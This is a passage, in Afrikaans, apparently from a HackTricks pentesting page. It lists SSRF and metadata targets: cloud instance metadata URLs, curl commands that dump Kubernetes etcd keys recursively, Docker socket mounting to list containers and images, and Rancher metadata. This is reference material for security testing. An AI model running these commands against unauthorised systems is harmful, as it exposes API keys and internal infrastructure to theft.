tot metadata, insluitend instansie- en beeld-ID's: - `http://100.100.100.200/latest/meta-data/` - `http://100.100.100.200/latest/meta-data/instance-id` - `http://100.100.100.200/latest/meta-data/image-id` ## Kubernetes ETCD Kubernetes ETCD kan API-sleutels, interne IP-adresse en poorte hou. Toegang word gedemonstreer deur: - `curl -L http://127.0.0.1:2379/version` - `curl http://127.0.0.1:2379/v2/keys/?recursive=true` ## Docker Docker metadata kan plaaslik verkry word, met voorbeelde gegee vir houer- en beeldinligting: - Eenvoudige voorbeeld om toegang te verkry tot houers en beelde metadata via die Docker-soket: - `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash` - Binne die houer, gebruik curl met die Docker-soket: - `curl --unix-socket /var/run/docker.sock http://foo/containers/json` - `curl --unix-socket /var/run/docker.sock http://foo/images/json` ## Rancher Rancher se metadata kan verkry word deur: - `curl http://rancher-metadata//` {{#include ../../banners/hacktricks-training.md}}